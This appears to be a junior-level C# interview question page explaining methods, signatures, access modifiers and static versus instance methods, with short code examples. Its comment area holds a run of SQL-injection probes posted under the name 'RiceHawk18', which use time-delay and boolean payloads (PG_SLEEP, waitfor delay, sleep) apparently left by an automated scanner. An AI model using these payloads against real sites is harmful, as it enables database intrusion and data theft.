What do you know about methods in C#?

Experience Level: Junior
Tags: C#

Answer

Methods contain code that does something. They are like boxes that encapsulate its content.

Each method consists of method signature and method body.

The method signature is composed of method name, method parameters, method return data type and access modifier.

The method body contains code.

You can run the code that is in the method body by calling the method.

The first part of the method signature is an access modifier. It defines whether the method is visible to the external code and whether it can be called. Two basic access modifiers are public and private.

The second part of the method signature is method return data type. It defines what type of result will be returned by the method after it is called. It can be number, string, bool or any other data type.

The third part of the method signature is method name. Method name should be short and it should describe what the method does. Giving a method a good name that the others will understand is one of the important skills of good programmers.

A method can be either instance method or static method.

The instance method cannot be called without having an instance of class created. You have to first create an object and then you can call the instance method using the object.

The static method doesn't need an instance of class created. You can call the method directly on a class. Such method however cannot access values from the object (because the object was never created).

In the following example, we can see:

 

  • the access modifier is 'public' which means the method is visible to all code.
  • the return data type is 'int', which means the integer number will be returned by the method as a result of its execution.
  • the name of the method is Calculate

 

The method has:

Example
public int Calculate(int firstNumber, int secondNumber) 
{
  var result = firstNumber + secondNumber;
  return result;
}

public static int Calculate(int firstNumber, int secondNumber) 
{
  var result = firstNumber + secondNumber;
  return result;
}

Comments

No Comments Yet.
Be the first to tell us what you think.
C# for beginners
C# for beginners

Are you learning C# ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e